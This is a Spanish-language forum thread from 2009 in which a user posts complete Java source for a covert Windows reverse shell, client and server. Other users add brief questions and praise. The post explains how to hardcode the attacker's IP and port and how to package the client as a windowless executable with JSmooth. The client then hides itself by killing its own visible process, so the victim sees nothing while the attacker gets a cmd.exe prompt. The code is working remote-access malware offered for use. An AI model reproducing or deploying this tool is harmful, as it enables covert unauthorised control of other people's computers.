Reverse Shell para Windows en Java

[Danther]

Bueno, dado que no tuve maneras de hacerlo con python, lo he acabado haciendo en Java XD
Aunque ha quedado mas largo de lo que me gustaria....

Bueno, pues es eso, dejais a la escucha el servidor y cuando alguien ejecute el cliente os devuelve acceso a una linea de comandos sin que a el le aparezca nada :3

Hay que ponerle tu ip y un puerto en los valores por defectos dentro del cliente para que se conecte automaticamente
En cuanto al puerto, cuanto mas alto, mas gloria (no useis uno bajo...)

Lo suyo es que si lo vais a usar comprimais en un jar el servidor y en otro el cliente, y luego el cliente lo convirtais en un exe con JSmooth
Para ello en el JSmooth le poneis:
-En Skeleton: Windowed Wrapper y le borrais todos los mensajes
-En Executable los valores que querais
-En Application le añadis el jar y le selecionas la main class, acordaros tambien de añadir el mismo jar en lo de embedded jar


Cliente

-Main

Código (java) [Seleccionar] Expandir


/**
*
* Autor: Danther
* Fecha: 03/08/2009
*
**/

package reverse_cliente;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.io.PrintWriter;
import java.net.Socket;

public class Main {

    private Socket s;
    private BufferedReader comandos;
    private PrintWriter envioRespuesta;
    private PrintWriter envioComando;
    private BufferedReader lecturaComando;
    public static boolean activo = true;
    private char unidad;
    private String directorio;
    private Process t;

    Main(String[] args){
        //Abrimos un socket hacia nuestra maquina
        try{
            s = new Socket(args[0], Integer.parseInt(args[1]));
        }catch(Exception e){
            System.out.println("Host o puerto no validos");
            System.exit(-1);
        }
        //Creamos los stream socket, para recibir los comandos
        try{
            comandos = new BufferedReader(new InputStreamReader(s.getInputStream()));
            envioRespuesta = new PrintWriter(new OutputStreamWriter(s.getOutputStream()));
            envioRespuesta.println("Conexion abierta desde "+s.getInetAddress().toString()+" por el puerto "+s.getLocalPort());
            envioRespuesta.flush();
        }catch(IOException ioe){
            System.out.println("Error al crear los streams");
            System.exit(-1);
        }
        //Obtenemos la unidad en la que se encuentra este archivo
        unidad = this.getClass().getResource("").getPath().charAt(6);
        directorio = unidad+":"barra invertida""barra invertida""; //Poner las barras invertidas de verdad antes de compilar,
                             //las he quitado por problemas con el code de phpbb
        //Abrimos el interprete de comandos en la raiz de la unidad y se lo pasamos a Lectura
        try {           
            t = Runtime.getRuntime().exec("cmd /K cd "+directorio);           
            envioComando = new PrintWriter(new OutputStreamWriter(t.getOutputStream()));
            lecturaComando = new BufferedReader(new InputStreamReader(t.getInputStream()));
            //Finalizamos el proceso del ejecutable, y dejamos solo el cmd.exe y java corriendo
            envioComando.println("taskkill /F /IM Reverse_Cliente.exe");
            envioComando.println();
            envioComando.flush();
        } catch (IOException ex) {
            System.out.println("Error al abrir el interprete de comandos");
            System.exit(-1);
        }
    }

    private void Reverse(){
        String com;
        String resp;
        try {
            envioRespuesta.println(lecturaComando.readLine());
            envioRespuesta.println(lecturaComando.readLine());
            envioRespuesta.flush();
        } catch (Exception u) {
            activo = false;
            this.close();
        }
                                   
        //Bucle principal
        while(activo){
            //Esperamos una nueva orden, en caso de ser C3rrand0 finaliza la ejecucion
            try{
                com = comandos.readLine();
                if(com.indexOf("C3rrand0") != -1){
                    activo = false;
                    this.close();
                    break;
                }
            }catch(IOException ioe){
                activo = false;
                this.close();
                break;
            }
            //Ejecutamos la nueva orden y enviamos la respuesta
            try{
                envioComando.println(com);
                envioComando.println("55221276");
                envioComando.flush();
                while((resp = lecturaComando.readLine()).indexOf("55221276") == -1){
                    envioRespuesta.println(resp);
                    envioRespuesta.flush();
                }
            }catch(Exception i){
            }
        }
    }

    private void close(){
        //Cerramos los streams y el socket
        try {
            lecturaComando.close();
            envioRespuesta.close();
            envioComando.close();
            comandos.close();
            s.close();
            System.exit(0);
        } catch (IOException ex) {
            System.out.println("Error al cerrar");
            System.exit(-1);
        }

    }

    public static void main(String[] args) {
        Main main = null;
        if(args.length == 2){
            main = new Main(args);
            main.Reverse();
        }else if(args.length != 0){
            System.out.println("Reverse Shell en Windows por Danther (Cliente)");
            System.out.println("====================================");
            System.out.println();
            System.out.println("Uso:");
            System.out.println("Reverse_Cliente.exe \"Tu propia ip\" \"Un puerto a la escucha\"");
            System.exit(0);
        //Si se ejecuta sin argumentos
        }else{
            String[] argsD = {"Host por defecto", "Puerto por defecto"};
            main = new Main(argsD);
            main.Reverse();
        }
    }

}


Servidor

-Main

Código (Java) [Seleccionar] Expandir


/**
*
* Autor: Danther
* Fecha: 03/08/2009
*
**/

package reverse_servidor;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.io.PrintWriter;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.logging.Level;
import java.util.logging.Logger;

public class Main {

   private ServerSocket ss;
   private Socket s;
   private PrintWriter comandos;
   private BufferedReader envio;
   protected static boolean activo = true;

   Main(String[] args){
       try {
           //Creamos el servidor y esperamos a una conexion entrante
           ss = new ServerSocket(Integer.parseInt(args[0]));
           s = ss.accept();
           //Creamos un stream para enviar comandos y otro para leer nuestra entrada
           comandos = new PrintWriter(new OutputStreamWriter(s.getOutputStream()));
           envio = new BufferedReader(new InputStreamReader(System.in));
           //Iniciamos el thread lectura
           Lectura lectura = new Lectura(s);
           lectura.start();
       } catch (Exception ex) {
           Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
       }
   }

   private void Envio() {
       String env;
       //Bucle principal
       while(activo){
           //Leemos nuestra entrada y la enviamos al cliente, si esta es C3rrand0 ceramos la conexion
           try {
               env = envio.readLine();
               comandos.println(env);
               comandos.flush();
               if(env.indexOf("C3rrand0") != -1){
                   activo = false;                    
                   this.close();
                   break;
               }
           } catch (IOException ex) {
               Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
               activo = false;
               this.close();
               break;
           }
       }
   }

   private void close() {
       //Cerramos los stream y los sockets
       try {
           Lectura.respuesta.close();
           comandos.close();
           envio.close();
           s.close();
           ss.close();
       } catch (IOException ex) {
           Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
           System.exit(-1);
       }

   }

   public static void main(String[] args) {
       Main main = null;
       if(args.length == 2){
           main = new Main(args);
           main.Envio();
       }else if(args.length != 0){
           System.out.println("Reverse Shell en Windows por Danther (Servidor)");
           System.out.println("====================================");
           System.out.println();
           System.out.println("Uso:");
           System.out.println("Reverse_Servidor.jar \"Un puerto local a la escucha\", \"Cualquier valor\"");
           System.exit(0);
       }else{
           //Si se ejecuta sin argumentos
           String[] argsD = {"Puerto local por defecto", "0"};
           main = new Main(argsD);
           main.Envio();
       }
   }

}



-Lectura

Código (Java) [Seleccionar] Expandir


/**
*
* Autor: Danther
* Fecha: 03/08/2009
*
**/

package reverse_servidor;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.Socket;

public class Lectura extends Thread{

   protected static BufferedReader respuesta;

   Lectura(Socket s) throws IOException{
       //Creamos un stream para leer lo que envie el socket
       respuesta = new BufferedReader(new InputStreamReader(s.getInputStream()));
   }

   @Override
   public void run() {
       String resp;
       //Blucle principal
       while(Main.activo){
           //Leemos la entrada del socket y la mostramos
           try {
               resp = respuesta.readLine();
               if (resp != null){
               System.out.println(resp);
               }
           } catch (IOException ex) {
               System.out.println("Conexion terminada");
               Main.activo = false;
           }
       }
   }

}



Pd: Como lo useis, modifiqueis y/o integreis, es cosa vuestra :3 XD

[Debci]

mmm para window sy que tiene que ver que sea para windows?
java no es multiplataforma? 

saludos

[Danther]

Java es multiplataforma
La interprete de comandos para la que esta preparado mi programa es la de windows XD

No te abriria el bash de linux ni aunque se lo suplicaras XD

[juancho77]

  buenisimo esto amigo.

[Danther]

Gracias ^^

He modificado el cliente, ahora solo necesita una clase y no usa un thread
Con lo que ademas he solucionado un bug que tenia a la hora de cerrar la conexion (cortaba la conexion, pero no cerraba el cliente)


PD: No hagais maldades... XD

[egyware]

Hola, felicitaciones por el trabajo
Yo tambien hice algo por el estilo pero lo unico que fue que hice fue como un redireccion de los flujos de datos de la consola a los flujos de datos del socket eso es mas general y talvez se pueda con una pequeña modificación abrir una shell de linux.
Adios